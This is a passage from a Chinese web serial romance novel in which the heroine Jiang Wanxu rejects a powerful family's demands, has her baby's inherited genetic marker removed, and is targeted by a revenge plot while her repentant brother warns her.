江明泽看着屏幕上满屏的“心疼姐姐”、“江家**”,恨得直咬牙。
他开始喃喃自语,“人性都是贪婪的,她怎么可能不恨江晚絮独吞了所有关注?她怎么可能不想要江晚絮的钱?”
在他的认知里
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,人与人之间只有利益和算计。
就像他和江芊妤,表面兄妹情深,其实不过是互相利用。
他理解不了许甜那种纯粹的、为了血脉亲情可以对抗全世界的勇气。
“啪!”
江明泽把鼠标砸在墙上,塑料外壳崩裂,零件散落一地。
“江晚絮……”
江明泽咬着牙,眼神阴狠。
既然**这招行不通,硬碰硬他又搞不过顾彦廷,那就只能……
忍。
只要她们还是人,就总有松懈的时候。
江明泽蜷缩在破旧的单人床上,看着天花板上的水渍,突然就笑了。
“我等着……我一定要亲眼看着你们从云端摔下来……”
两天后,顾家别墅。
书房里的气氛凝重得像是一场暴风雨前的宁静。
巨大的全息投影屏幕立在房间中央,屏幕对面,是几位身着复古欧式西装的老者。他们端坐在那座传说中的瑞士古堡里,背景是挂满油画的墙壁,每一帧都透着几个世纪沉淀下来的金钱与权力的味道。
这就是晨曦家族的长老会。
M姨坐在桌前,神色紧张。
江晚絮坐在顾彦廷身边的沙发上,手里捧着一杯热茶,指尖却有些发凉。
“江小姐,许小姐。”
屏幕正中央,一个满头银发、眼神锐利如鹰的老人开了口。
他是家族的大长老,那双蓝灰色的眼睛仿佛能看透人心。
“鉴于DNA检测结果,以及M提交的报告,长老会经过三天三夜的讨论,做出了决定。”
老人顿了顿,语气里带着一种施舍般的傲慢。
“我们承认方颖是家族当年被迫流落在外的后裔,虽然是个遗憾,但她的基因确实优秀。作为她的女儿,你们有资格回归家族。”
“只要你们签下这份文件,并将姓氏改过来,家族将向你们敞开大门。”
老人挥了挥手,一份电子文件传输到了江晚絮面前的平板上。
“尤其是你,江晚絮。”
老人的目光锁定在她身上,“你在生物科技领域的成就,家族早有耳闻。回来吧,家族的顶级实验室、数百亿的科研基金,还有全球最顶尖的团队,都将由你调配。”
“你将成为家族新的领航者,我们将把你培养成第二个‘陈曦’。”
第230章 不愧是双胞胎
对于任何一个科研人员来说,有一个强大的、财力雄厚的家族在背后提供支持,这种诱惑无疑是巨大的。
可江晚絮是谁?
她有晚星科技,有顾彦廷,她不需要其他人的任何支持。
江晚絮静静地看着那份文件,脑海里闪过的,却是五年前那个雷雨交加的夜晚。
那天,她跪在**嵩面前,求江父把她的专利转让费还给自己,好让她继续做研究。
可江父居却无情地拒绝了她。
他说,“江晚絮,你以为家里的钱是大风刮来的?与其搞这些没用的,不如去医院给你妹妹献点血,她最近脸色不好。”
那天,她没拿到钱,还被抽了400cc的血。
后来,她靠着卖掉母亲留下的项链买试剂,才断断续续地把研究做完。
“呵呵。”
江晚絮突然笑了。
她放下茶杯,面色平静。
“不好意思,各位长辈。”
江晚絮抬起头,“我想你们搞错了一件事。”
大长老眉头一皱:“什么?”
“我姓江,叫江晚絮。”
她一字一顿地说道,“我不是什么‘陈曦二号’,也不需要谁来给我背书。”
“我的每一项专利,都是我在绝境里熬出来的;我的每一个成果,都是我用命换来的。那时候你们在哪?在我被逼着给江芊妤捐骨髓的时候,你们那数百亿的基金在哪?你们明明早就知道了我的存在,明明知道我需要什么,却始终无动于衷。现在却跳出来要支持我?”
大长老脸色一沉:“江小姐,你要明白,这是一种荣耀。”
“荣耀?”
江晚絮冷笑一声,“那只是你们以为的荣耀。我江晚絮,不需要。”
“你!”旁边一个长老气得胡子都在抖。
顾彦廷懒洋洋地靠在沙发背上,露出一个毫不在意的笑来:“听不懂人话?我太太说,不稀罕。”
大长老深吸一口气,压着怒火继续劝导:“江晚絮,你要想清楚。没有家族的庇护,你的晚星科技在国际市场上寸步难行。但如果你愿意合作……”
“合作可以。”
江晚絮打断了他,“但不是归顺,是平等的商业合作。”
她伸出三根手指。
“第一,我不改姓,不入族谱,只担任技术顾问,按项目收费。”
“第二,家族必须公开当年的历史档案,承认是因为内部斗争**了我的外婆和母亲,你们不仅要承认她是‘优秀后代’,还要公开道歉。”
屏幕对面的长老们一片哗然。
“这不可能!”
“不答应?”江晚絮站起身,“那就算了。”
顾彦廷立刻坐直了身子,伸手要去按挂断键。
“慢着!”大长老急了。
江晚絮的价值太大了。
晨曦家族虽然已经逐渐走了下坡路,他们之所以需要江晚絮,是因为江晚絮的研究能够帮助晨曦家族重现辉煌。
“我们可以考虑……”大长老咬着牙,“但是,关于那位许小姐……”
他的目光移向一直坐在一旁的许甜。
眼里闪过一丝轻蔑。
“她是个画家,对家族没有任何实质性的贡献价值。而且她的基因评测只是普通优秀,没有特殊标记。”
“如果她想回归,必须通过贡献考核。”
“什么考核?”一直没说话的许甜突然停下了笔。
“联姻。”大长老理所当然地说,“或者,上交她所有的艺术品版权归家族运营。”
“砰!”
江晚絮用了拍了一下桌子。
“想都别想!”
她指着屏幕,咬牙切齿地拒绝了大长老的提议,“她是我的姐姐,是一名艺术家!她的价值在于她的艺术,在于她的灵魂。她不是你们用来联姻的工具,更不是你们用来利用我的条件!”
“如果你们不能像尊重我一样尊重她,那这个合约,我死也不签!”
随着她的话音落下,所有人都屏住了呼吸,看向大长老。
M姨急得额头冒汗,拼命给大长老使眼色。
她太了解江晚絮了。
这丫头平时看着温温吞吞,一旦触及到底线,那是真的敢把天捅个窟
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窿。
而许甜,就是她的底线。
许甜站了起来。
她走到镜头前,脸上带笑。
“老头儿,你刚刚说,我没有基因标记,是个闲人?”
大长老冷哼一声:“这是事实。晨曦家族崇尚的是智力与科技的进化,艺术?那只是茶余饭后的消遣。”
“消遣?”
许甜挑了挑眉,随手把手里的速写本扔到桌上。
“我是许知意的女儿,我姓许。”
她双手撑在桌面上,“我从没想过要进你们那个什么破家族,更没想过要改姓。你们那点资源,留着给自己买棺材吧。”
“姐姐!”江晚絮眼眶一红。
许甜回头给了她一个安抚的眼神,然后回身继续说。
“不过嘛……”
“既然你们这么想要晚晚的技术,我可以给你们一个台阶下。”
大长老一愣:“什么意思?”
“我可以以‘家族友人’的身份,去瑞士古堡住几天。”
许甜眨了眨眼睛,想了想说,“听说你们家族有一面传承了三百年的‘荣耀之墙’,一直空着没画完?”
大长老下意识地点头:“那是留给家族最伟大的记录者的位置。”
“我来画。”
许甜打了个响指,“免费。”
几位长老面面相觑。
蓬皮杜收藏级画家的免费壁画?
这听起来倒是个不错的交易。
“但是,”许甜话锋一转,“画什么,怎么画,我说了算。既然要记录历史,那就要真实。你们那些光鲜亮丽的丰功伟绩我会画,但当年怎么把我外婆赶出家门,怎么在内部搞清洗,怎么为了利益不择手段害死我妈妈的……”
她笑了笑。
“我也会一笔不落地画上去。”
“你敢!”大长老拍案而起。
“你可以试试我敢不敢。”许甜耸耸肩,“这是艺术,懂吗?不懂就不要乱说。”
“好!”
一直没说话的顾彦廷突然鼓起掌来。
真不愧是双胞胎。
一个明着耍阴谋,一个暗着耍阳谋。
第231章 普通人有什么不好
江晚絮深吸一口气,重新坐下,恢复了冷静,“我担任顾问,姐姐拥有创作自由。要么签,要么滚。”
大长老的脸色青一阵白一阵。
还从来没有人面对家族的邀约,这样傲慢。
即便是如今的晨曦家族有了没落的迹象,但瘦死的骆驼比马大,他们在科研圈子里,还是很有发言权的。
这样的江晚絮,让大长老想起了二十多年前,方颖来瑞士的场景。
当时的方颖怀着孕,态度却和江晚絮一样强硬。
“……好。”
良久,大长老终于松了口,“成交。”
“但是,江晚絮,你给我记住。家族的资源不是白拿的,我们需要你女儿的基因数据。既然你是‘优化者’,你的后代,一定更有价值。”
江晚絮的眼睛眯了起来。
安安……
“那是另外的价钱。”顾彦廷在一旁冷冷地插嘴,“现在,先把这一份签了。”
视频终于挂断。
江晚絮瞬间脱力。
“吓死我了……”她捂着胸口,手心里全是冷汗,“我刚才是不是太强势了?”
“强势什么?帅呆了好吗!”
许甜扑过来,一把抱住她,“刚才你拍桌子那一下,真的,我都想给你跪下喊女王了。”
江晚絮苦笑:“我只是……不想让你受委屈。以前在江家,我受够了那种看人脸色的日子。你是我姐姐,你应该活得比我骄傲。”
“傻瓜。”
许甜揉了揉她的头发,声音温柔下来,“我们是亲姐妹,不用分这么清楚。”
“不过……”江晚絮皱起眉,“安安她……”
顾彦廷在这时走过来,把一份林舟刚刚拿过来的报告递给她。
“这是刚出来的结果。”
他的眉头始终紧紧皱在一起,完全没有了刚才面对大长老的那份淡定。
“趁着这次谈判,我让人给安安做了深度全基因组测序。”
江晚絮将报告接了过来,直接翻到了最后一页。
就见结论那一栏,赫然印着一行红色的字:
【优化标记继承率:100%。大脑皮层发育指标超前:8%。】
“8%……”
江晚絮喃喃自语,愣愣地盯着那行字,许久未动。
如果是普通家长,看到孩子智力超群,可能会高兴得疯掉。
但江晚絮只觉得害怕。
“怎么了?”
许甜见她发愣,赶紧凑过来看,可惜她看不太懂那些专业术语,“这说明什么?安安是个天才?”
“是天才,也是诅咒。”
江晚絮抬起头,看向许甜。
“姐,你知道我小时候是怎么过的吗?”
她将报告放下,坐在沙发上,整个人看上去就像灵魂出窍一样,声音很轻,也很凄凉。
“我四岁就能背圆周率后一百位,五岁解二元一次方程。**嵩发现后很高兴。。”
“从六岁起,别的孩子在玩泥巴,我就在背公式。别的孩子在看动画片,我就跟着他进实验室。”
“从小学四年级起,只要我考不到满分,只要我的实验进度慢了一点,我就会被他关进地下室。”
江家的地下室,是她的噩梦,也是她做出第一个研究成果的地方。
她以为等自己长大了,就能摆脱这些噩梦。
可惜……
江晚絮痛苦地闭上了眼睛。
“江明宇打我,是因为嫉妒我聪明。**嵩利用我,是想用我的成果能换钱。就连江芊妤陷害我,也是因为她觉得我抢了她的风头。”
“这5%的大脑开发度,带给我的只有痛苦,没有一丁点的快乐。”
她掏出手机,点开了家里的监控。
此时的安安,正和外婆一起在地毯上听儿歌。
小家伙手舞足蹈的,嘴里咿咿呀呀的,笑得口水都流了出来。
“现在,安安是8%。”
江晚絮的声音忍不住哽咽起来,“只要有这个标记在,她这辈子就注定会成为晨曦家族的目标。我们公开了涅墨西斯,让他们曝光在阳光下。但同时,也让我们自己成了焦点。会有第二个、第三个涅墨西斯想要争
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夺她的大脑。她会成为别人眼里的‘工具’,会是各方势力争夺的‘资源’。”
“她会有和我一样的童年,甚至更惨。”
江晚絮说着说着,就说不下去了。
看着镜头里只有四个月的安安,她终于体会到了当年方颖的决绝。
她站了起来,眼神变得前所未有的决绝。
“我绝不允许发生这种事。”
她转身看向顾彦廷,“顾彦廷,我要给安安做手术。”
顾彦廷一愣:“你说什么?”
“基因编辑。”
江晚絮语速飞快,“晚星科技有一个秘密项目,就是针对这个优化标记的逆转录技术。技术已经成熟了,我在动物模型上做过上千次实验。”
“我要把安安的那个标记移除,我要拿走那8%的天赋。”
许甜不可置信地瞪大了眼睛,“晚晚,你疯了?那是……那是把天才变成普通人啊!”
“普通人有什么不好?”
江晚絮红着眼睛看向她,“凡人可以哭,可以闹,可以考试不及格,可以谈一场没有算计的恋爱,可以不用背负那么多责任。”
“我不想让她当什么天才,我只想让她当我的女儿,当一个快快乐乐的小女孩。”
“可是手术……”许甜担忧地问,“有风险吗?”
“失败率0.3%。”
江晚絮点点头,“如果失败,可能会导致免疫系统缺陷。但我算过了,这个概率比她带着标记被各方势力撕碎的概率,要低得多。”
她说完就走到电脑前,快速编辑了一份文件,打印了出来。
江晚絮把打印好的东西放在桌子上,深深地吸了一口气,然后拿起笔签上了自己的名字。
许甜凑了过去,就看到封面上写着:《知情同意书》。
“我已经签了。”
江晚絮放下笔,手却有些抖。
“我是母亲,也是这个项目的负责人。我有权决定。”
她看向顾彦廷,眼神里带着一丝乞求。
“顾彦廷,你如果拦我,我就带安安走。”
第232章 好好活着
顾彦廷看着江晚絮,忽然就笑了。
这个傻丫头,有了安安以后,变得勇敢了。
或者说,她释放了真正的自己。
他走上前,轻轻拥抱江晚絮。
“傻瓜。”
他在她耳边低语,“我什么时候拦过你?”
“只要是你决定的,我都会支持。”
江晚絮窝在他的怀里,心里暖暖的。
“谢谢……”
决定是做出了,但阻力也随之而来。
第二天,顾家老宅。
不等江晚絮说完她的决定,顾老太太手里的佛珠就掉在了地上。
老太太急得直拍大腿,“晚絮啊,这种天赋多少人求都求不来的,你怎么……怎么会想要给它拿掉呢?”
“而且还要做手术,安安还那么小,万一……”
“没有万一。”
顾彦廷上前一步,站在江晚絮身前,挡住了老太太责备的目光,“奶奶,安安是我们的孩子,奶奶无权干扰晚晚的决定。”
这时候,一直坐在一旁的外婆抬起了头。
“做吧。”
外婆的声音有些哽咽。
“如果当年……如果你妈妈那个时候也有这种技术……”
外婆颤巍巍地伸出手,摸了摸江晚絮的脸,“也许,她就不会死,你也不会受这么多苦。”
“絮絮是对的。”
外婆擦了擦眼泪,“我们的安安就该无忧无虑地长大。”
顾老太太看着亲家母老泪纵横的样子,最终还是叹了口气。
“罢了,罢了……儿孙自有儿孙福。”
三天后,顾氏旗下医院。
顾彦廷坐在走廊的长椅上,一瞬不瞬地盯着手术室的门。
江晚絮坐在他旁边,把头靠在椅背上,闭着眼。
许甜则站在她们对面,频繁地低头看表。
“晚晚,”她皱眉看向江晚絮,“这都三个多小时了。”
后面的话她没敢说。
江晚絮睁开眼,淡淡地笑了。
“别着急,这种手术很复杂。”
她安慰许甜,“这项技术很成熟,放心吧。”
这何尝又不是在安慰自己呢?
又过了半个小时,那盏“手术中”的灯终于灭了。
“手术成功,孩子各项指标都很正常。”
主刀医生走出来,摘下口罩将这个好消息告诉了焦急等待的三人。
不等他摘下口罩,顾彦廷就上前握住了他的手,却半天没说出话来。
江晚絮站起来,问道,“安安呢?”
“在病房。”主刀医生用力挣脱顾彦廷被汗水浸透的手,“为保万一,还需要留院观察一周,毕竟……她只有四个月大。”
江晚絮拼命点头,眼泪也终于不受控制地落了下来。
许甜赶紧上前,扶着她一起往病房的方向走去。
安安恢复得很好,一周后顺利出院。
生活再次步入正轨。
“叮——”
闹钟响起,江晚絮准时起床。
看了眼在婴儿床里熟睡的安安,她笑着下床,准备去跑步。
安安已经六个月了,江晚絮的生活也开始变得规律起来。
每天晨跑,陪安安玩耍,去公司做研究。
而顾彦廷不管多忙,都会在下午六点回到家,迫不及待地去抱一抱他的宝贝女儿。
今天是周四,是她和许甜的视频时间。
每到这一天,江晚絮都会早早地将所有工作停下。
“晚晚,你看,帅不帅?”
许甜把镜头一转,对准了一个正在喂鸽子的男人。
高鼻梁,眼窝深邃,典型的意大利帅哥。
“这就是你男朋友?”江晚絮喝了一口温水,嘴角上扬,“我们的许大小姐居然过着小资生活,还真惬意。”
“嘘——”许甜一脸坏笑,“他一直一位我就是个在街头画画混饭吃的穷画家,可别穿帮了。”
“姐姐……”江晚絮看着她,问道,“你快乐吗?”
“快乐啊。”许甜把脸凑近镜头,认真地看着镜头,“晚晚,我们都要快乐。替妈妈,替外婆,也替曾经的自己。”
是啊,要快乐。
江晚絮看了看自己的手腕。
那些曾经抽过血的**只留下一个淡淡的暗红色。
“我会的。”
京市的深秋,总是很冷,好在,我还有家人,有爱我的人陪伴在我身边。
“城管来了!快跑啊!”
一声尖锐的喊叫,打破了天桥的寂静。
原本热闹的地摊一条街瞬间就炸了锅。
小贩们快速地卷起铺盖,四散奔逃。
江明泽跑得最慢。
“站住!那个穿风衣的!”
城管很快就发现了他。
江明泽心里一慌,脚下一滑,整个人就摔在了地上。
怀里的一大堆旧
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书全都掉在了地上。
城管很快就追了上来,一脚踩在他的那本《分子生物学》上。
“跑?这是你摆摊的地方吗?”
“别踩,别……”
江明泽蹲在地上,伸手就要去抢那本书。
“哟!”城管冷笑一声,一脚踢开了那本书,“还挺宝贝的。全部没收!”
“不能收!”江明泽赶紧去捡起来塞进怀里。
“我说收就收!”
城管两步上前从他怀里将那本书给抽了出来,扔进了跟在后面的执法车里。
江明泽所有的东西都被没收了。
只留下一地不值钱的杂志和发愣的江明泽。
他站在原地,突然就笑了。
“哈哈哈……哈哈。”
曾经那些纸醉金迷的生活,如今就像一场梦。
他现在,竟然都快活不下去了。
江明泽失魂落魄地往自己的出租屋走去。
房子虽然不大,但好歹能避避风。
他有些饿,但口袋里只有可怜的七十块钱,他舍不得花。
算了,睡觉吧,睡着了就不饿了。
手机在这个时候突然震动了一下。
是一条短信。
【收款到账:500,000.00元。备注:好好生活。】
江明泽看着那几个零,突然就哭了。
是老三,江明哲。
那个一直不声不响,却最后与江晚絮站在一起的三弟。
江明泽不知道自己这天是怎么睡着的。
总之,他没有拒绝江明哲的好意,而是靠着这笔钱,在老城区盘下了一个快要倒闭的小数点。
店面不大,只有十几平米。
但他很满足。
直到有一天,店里来了一个女人。
那女人气质干练,一看就是有钱人。
江明泽有些局促,犹豫了很久才开口,“要买书吗?”
女人环视了一圈,最终将目光落在了堆在角落的科学杂志上。
“老板,你这些书,我全要了。”
“全要?”江明泽愣了愣,“这些……都是旧书。”
“我知道。”女人拿出了一张卡递给他,“刷卡吧,另外,有人托我给你传句话。”
江明泽接下银行卡,女人又递过来一张便签。
纸条上没有书名,但这字迹,他认得。
清秀有力,是江晚絮的字。
【好好活着。】
第233章 合作愉快
江晚絮的小助理走了很久,江明泽还维持着那个姿势。
他突然想起了很多事。
小时候,江晚絮考了一百分,拿着卷子跑到他面前求表扬,他却把卷子撕了,说她**。
江晚絮发高烧,他嫌她咳嗽,硬是把她赶到阳台上睡了一夜。
江晚絮摔下楼梯的时候,他连看都没看她一眼。
那天晚上,江明泽把店里所有关于“生物学”、“基因研究”的书,还有他私藏的以前在江家的照片、奖状,全部搬到了后巷。
然后,他点火把那些东西,全都烧了。
火苗窜起。
他看着那些曾经引以为傲的过去化为灰烬,突然就释然了。
就这样吧。
就这样安安静静地做个普通人,再也不要去打扰她了……
有的人幡然悔悟,可有的人却执迷不悟。
比如叶寒。
他觉得自己疯了。
他不明白,明明六年前,江晚絮是那样爱他。
那时候,不管他说什么,江晚絮都会照做。
她会为了他的一句“胃疼”,在大雪天跑遍半个京市去给他买胃药。
她会为了给他的公司省钱,哪怕发着高烧也坚持加班做实验。
可现在呢?
她在电视上,光芒万丈。
她在顾彦廷怀里,笑靥如花。
而那种笑容,从未在他面前展露过。
现在的他,住在一间老式公寓里,日常生活只能靠变卖过去的手表来勉强维持。
他很不甘心。
他不信江晚絮真的对他没感情了。
那个女人爱了他整整五年啊!
一定是她早就和顾彦廷在一起了!一定是!
而顾彦廷,其实也没有多爱她,他和他一样,都是为了江晚絮的那些研究罢了。
叶寒觉得自己猜中了顾彦廷的恶毒心思,他想,他得找个机会让江晚絮看清顾彦廷的真面目。
于是,他开始跟踪江晚絮。
他花钱买了一套清洁工的衣服,然后每天早上都会在顾家别墅三公里外的马路边等着江晚絮出现。
他看着江晚絮晨跑,看着她带孩子出门遛弯,看着她和顾彦廷在车内接吻。
每一次看到那个笑容,他的心就像被硫酸泼过一样。
“**……”叶寒躲在绿化带的灌木丛后,举起相机,“居然笑得这么开心……你果然早就跟他混在一起了,你怎么能这么快就忘了我?”
江晚絮似乎察觉到了什么,往这边看了一眼。
叶寒吓得手一抖,赶紧缩回了头。
“咔哒。”
树枝断裂的声音很突兀地响起。
叶寒下意识回头去看,就见两个戴着墨镜的壮汉不知什么时候站在了他身后。
“叶先生是吧?”
其中一个保镖开口了。
“你们……你们是谁?顾彦廷的人?”叶寒强装镇定,往后退了一步,却绊到了石头上,蹲坐在草丛里。
保镖没有直接回答他的问题,而是出言警告。
“叶先生,我们老板让我给你带句话。”
“以前江小姐眼瞎,那是她倒霉。现在她眼睛好了,你要是再敢在她眼前晃悠,脏了她的眼……”
保镖弯下腰,摘下墨镜,直视叶寒。
“别怪我们不客气。”
保镖说完,直接一把抢过叶寒手里的相机,掏出里面的内存卡,然后才把相机丢还给叶寒。“滚。”
叶寒跑了。
他跑回出租屋,锁上门,浑身发抖。
可是恐惧之后,是更深的怨毒。
“顾彦廷……江晚絮……你们这对狗男女!仗势欺人,仗势欺人!”
凭什么?
凭什么他一无所有,而那个曾经被他踩在脚底下的女人却能拥有全世界?
这不公平!
“笃、笃、笃。”
敲门声响起。
叶寒如惊弓之鸟直接抓起桌上的水果刀吼道:“滚,不然我报警了!”
门外传来一声轻笑。
是个女人的声音。
“叶先生,不用这么紧张。”
叶寒一愣,犹豫着打开了门缝。
门外站着的,是一个穿着红色风
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衣的女人。
大波浪卷发,烈焰红唇,看上去干练又危险。
她手里夹着一支细长的女士香烟,烟雾缭绕中,那张脸显得更加娇媚。
“你是谁?”叶寒警惕地问。
女人推开门,径直走了进来,嫌弃地看了一眼满地的垃圾,却并没有退出去。
她转过身,看着叶寒。
“我是谁不重要。重要的是,我们都有一个共同的目标。”
她从口袋里掏出一张照片。
照片上,是顾彦廷和江晚絮牵手出席晚宴的样子。
“我叫Linda。”女人吐出一口烟圈,眼神变得怨毒,“或者,你可以叫我沈曼。涅墨西斯集团前总裁的女儿。”
叶寒瞪大了双眼。
涅墨西斯集团!
那个曾经在海外叱咤风云,却在一夜之间被顾家连根拔起,总裁被送进监狱判了无期徒刑的商业帝国!
“你也恨他们?”叶寒的声音有些颤抖,那是兴奋的颤抖。
“恨?”沈曼笑了,笑声很刺耳,“我恨不得扒了他们的皮,抽了他们的筋!顾彦廷毁了我家,害我爸坐牢,让我从云端跌进泥里……这笔账,我一定要算!”
她看着叶寒,眼神疯狂。
“叶先生,听说你是江晚絮的前夫?江晚絮让你落得这样的下场,难道你就没想过报仇吗?难道你就甘心这样混吃等死吗?”
沈曼的声音极具诱惑力,也戳中了叶寒心底里的不甘。
叶寒咬牙切齿,“做梦都想!”
“很好。”
沈曼从包里拿出一张**,扔在桌子上。
“这是我爸留给我最后的筹码。钱,我有;人脉,我有。但我对他们不够了解。”
她环视一圈,想找个椅子坐下来,却发现叶寒房间里的那张椅子上落满了灰尘。
沈曼转了一圈走回门口,问向叶寒,“你要不要跟我合作?”
叶寒看着那张**,又看了看自己捡漏的出租屋。
他扔掉手里的水果刀,露出一个阴狠的笑。
“荣幸之至。”
第234章 世上没有后悔药
顾家别墅。
江晚絮去陪安安,顾彦廷则去了书房。
保镖将叶寒跟踪的事情发给了他。
他想了想,走到了卧室门口,江晚絮正在给安安唱儿歌。
顾彦廷推门走了进去。
“晚晚。”
他走到她身后,环抱住母女俩,“叶寒在跟踪你。”
江晚絮垂下眼帘,语气淡漠,“是吗?他还是这么闲。”
“保镖警告过了。”顾彦廷将下巴抵在她的颈窝,“如果你不想看到他,我可以让他彻底消失。”
江晚絮沉默了。
有很长一段时间,她听到叶寒的名字都会心悸。
最初叶寒公司资金链断裂临近破产,她没日没夜地做实验、卖专利,却只换来他揽着江芊妤,嘲笑她是个只会死读书的木头。
后来他们结了婚,叶寒总是胃疼,她大半夜穿着单薄的睡衣跑遍几条街买药,回来时手脚冻得失去了知觉,却只换来叶寒一句嫌弃的“怎么这么慢”。
她爱了他五年。
可叶寒呢?
五年里都从来没正眼看过她,甚至还各种嫌弃她。
现在想来,那时候的自己,简直是……贱得很。
“不用。”江晚絮轻轻摇了摇头,“为了那种人脏了你的手,不值得。”
她转过身,看着顾彦廷的眼睛。
这双眼睛里,只有她。
“顾彦廷。”她忽然喊他的名字。
“嗯?”
“你会一直都在吗?”
顾彦廷伸手抚上她的脸颊,“一直都在。”
江晚絮笑了。
可笑着笑着,眼眶却红了。
她低着头,声音闷闷的:“顾彦廷,我以前……真的很疼。”
不仅是身体疼。
被抽血的时候疼,被推下楼梯的时候疼,断腿的时候疼。
心更疼。
顾彦廷叹了口气,摸了摸安安滑嫩的小脸儿,提醒她。
“你不止有我,你还有安安,有外婆,有许甜。从今往后,我们会一直幸福下去。”
江晚絮擦了擦眼角,然后亲了亲安安的额头,“没错,我现在很幸福。”
窗外,夜色浓重。
老城区。
江明泽坐在凳子上正在吃盒饭。
“叮铃——”
门口的风铃响了。
江明泽抬起头去看。
进来的是一个女人。
穿着一件剪裁考究的红色风衣,脚踩十厘米的高跟鞋,手里挎着的一只奢侈品包包。
江明泽愣了愣。
这种人,怎么会来这种地方?
“你就是江明泽?”女人摘下墨镜,露出一张妆容精致的脸。
正是沈曼。
江明泽皱了皱眉,并没有直接回答,“买书吗?”
沈曼嫌弃地用手帕捂住口鼻,环视了一圈这破败的小店,发出一声嗤笑。
“堂堂江家大少爷,以前也是京大最年轻的研究员,现在居然沦落到在这破地方卖废纸?”
江明泽脸色一变,重新坐了回去,继续吃自己的盒饭,“关你屁事。”
沈曼踩着高跟鞋翘着手走进来,找了半天才找到一处相对干净的地方站定。
她从包里掏出一张支票,拍在桌子上。
“这里是一百万。”
江明泽瞥了一眼,没动。
“嫌少?”沈曼挑眉,“也是,毕竟曾是江大少,见过大世面。不过,只要你帮我做件事,事成之后,我给你一千万,还能帮你重回实验室。”
江明泽终于抬起头,“你要干什么?”
沈曼笑了,“我要你帮我,搞垮江晚絮。”
她就说嘛,哪有人不会被金钱动摇?
如果没有,那就是钱不够多。
听到这个名字,江明泽放下了盒饭。
“你说谁?”
“江晚絮。”沈曼并未察觉异样,自顾自地说道,“我知道你恨她。如果不是因为她,江家不会破产,你也不会沦落到今天这个地步。她现在可是光芒万丈,却完全不顾你的死活。啧啧,这样的人,实在是……”
不等她说完,江明泽就直接打断了她。
“滚!”
沈曼愣了一下:“你说什么?”
“我让你滚!”
江明泽忽然站起来,一把抓起桌上的支票,直接撕
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成了碎片,扬手甩在了沈曼脸上。
沈曼难以置信地瞪大了眼睛:“你疯了?那是一百万!你在这里卖一辈子破书也赚不到这么多钱!”
“钱?”
江明泽笑了,笑得比哭还难看。
他指着自己的心口,一步步逼近沈曼。
“你知道我这辈子最后悔的是什么吗?”
“不是江家破产,也不是变成穷光蛋。”
“而是我竟然忘了她是我的亲妹妹。我身为她的大哥,不仅没有保护她,还帮着外人欺负她。”
江明泽的双眼通红,声音也控制不住的抖了起来。
他和她都是方颖的亲生女儿,他到底吃了什么**药,居然会觉得江芊妤比他的亲妹妹要好?
“我是混蛋,我是畜生。”江明泽咬着牙,“我这辈子都不会再去做任何伤害她的事情!”
沈曼被他吼得后退了一步,高跟鞋崴了一下,差点摔倒。
她恼羞成怒:“江明泽,你装什么装?你以前**她的时候怎么没见你心疼?现在想起后悔了?晚了!人家江晚絮现在是顾太太,是晚星科技的总裁,人家哪怕看路边的一条狗,都不会多看你一眼!”
“我知道。”
江明泽靠在书架上,咽了咽口水。
“我知道她不会原谅我,我也没脸求她原谅。”
“但这不妨碍我想让她好好的。”
他指着门口,大吼一声:“滚!再不滚我报警了!”
沈曼气得脸色铁青,狠狠地跺了跺脚:“不识抬举的东西!活该你过成这幅样子!”
说完,她转身冲了出去。
店里重新安静了下来。
江明泽看着满地的碎纸屑,自嘲地笑了笑。
“晚晚……对不起……”
“哥知道错了……真的知道了……”
这世上从来都没有后悔药。
江明泽很想挽回,想体会真真切切的亲情。
可江晚絮……应该不会原谅他吧。
她给他的钱,不过是可怜他罢了。
他想了想,从抽屉里拿出了江晚絮给他的那张支票,沉默了很久很久。
第235章 他挺可悲的
雨下了一整夜。
第二天清晨,顾彦廷正在批阅文件,林舟拿着一封信走了进来。
“顾总,前台刚收到的一封信,没有署名,指名要给您的。”
顾彦廷头也没抬,“这种东西直接扔了。”
“可是……”林舟犹豫了一下,“信封上写了夫人的名字。”
顾彦廷拧眉,到底还是松了口。
“拿过来。”
信封很普通,封面上也确实写了江晚絮的名字。
拆开信,里面只有一张从笔记本上撕下来的纸,字迹很潦草。
【小心一个穿红衣的女人,她似乎想对付晚晚。她很有钱。】
没有落款,但那字迹,顾彦廷觉得眼熟。
他想了想,大概猜到了写信人的身份。
顾彦廷将信纸折好收进了抽屉,然后吩咐林舟,“查查最近有没有什么可疑的女人接触过叶寒或者江家的人。”
“是。”
林舟领命而去。
调查的结果很快就出来了。
沈曼,美籍华人,刚回国不久,做的是国际化工贸易,身家清白,资产雄厚,除了性格有些张扬,查不出任何与顾家或者江家的旧怨。
顾彦廷看着资料上明艳动人的女人,眼底闪过一丝冷意。
之前他派人盯过江明泽。
曾经的江家大少爷似乎已经转了性,如今在踏踏实实地经营一家旧书店。
而他坚信,江明泽不会无的放矢。
两天后,晚星科技。
江晚絮刚开完会回到办公室,前台就打来电话。
“江总,有位沈小姐说想跟您谈谈新能源项目的合作,她没有预约,但是……她说如果不让她上来,您会后悔的。”
江晚絮挑了挑眉。
“让她上来。”
五分钟后,办公室的门被推开。
沈曼走了进来。
“久仰大名,江总。”
沈曼摘下墨镜看着江晚絮,目光里满是审视。
这就是那个让顾彦廷神魂颠倒的女人?
也不过如此。
清汤寡水,一点女人味都没有。
江晚絮坐在办公桌后,淡淡地点了点头:“沈小姐,请坐。”
今天苏洛敏没什么事,来晚星找江晚絮。
她打算等江晚絮忙完后,跟她一起去江家去看安安。
看到沈曼进来,苏洛敏就觉得对方来者不善。
她上下打量了一眼沈曼,阴阳怪气地开口:“哟,这谁啊?穿得跟个红包似的,不知道的还以为是谁家新娘子跑了呢。”
沈曼脸色僵了一瞬,随即摆出一个得体的笑:“这位是?”
“我是晚晚的私人秘书兼保镖兼最好的闺蜜。”苏洛敏翻了个白眼,“沈小姐是吧?有话快说,有屁快放,我们江总忙着呢,分分钟几百万上下。”
沈曼深吸了一口气,强压下心头的火气,将一份文件放在江晚絮面前。
这个江晚絮,完全不像传说中那样软弱。
她都进来好几分钟了,对方竟然一点让她坐下谈的意思都没有。
当真是一点家教都没有。
“江总,明人不说暗话。我手里有一项关于新型催化剂的专利,我想跟晚星科技合作开发。”
江晚絮翻开文件看了几眼。
确实是好东西。
如果能用到现在的项目中,效率至少能提高三倍。
但是……
她抬起头看着沈曼:“沈小姐为什么找我?京市比我有实力的科技公司多的是。”
“因为只有江总你有这个胆量。”沈曼的声音充满了挑衅,“听说江总以前为了研究,连命都能豁出去。我们是一类人。”
一类人?
江晚絮在心里冷笑。
她做研究是为了救人,是为了理想。
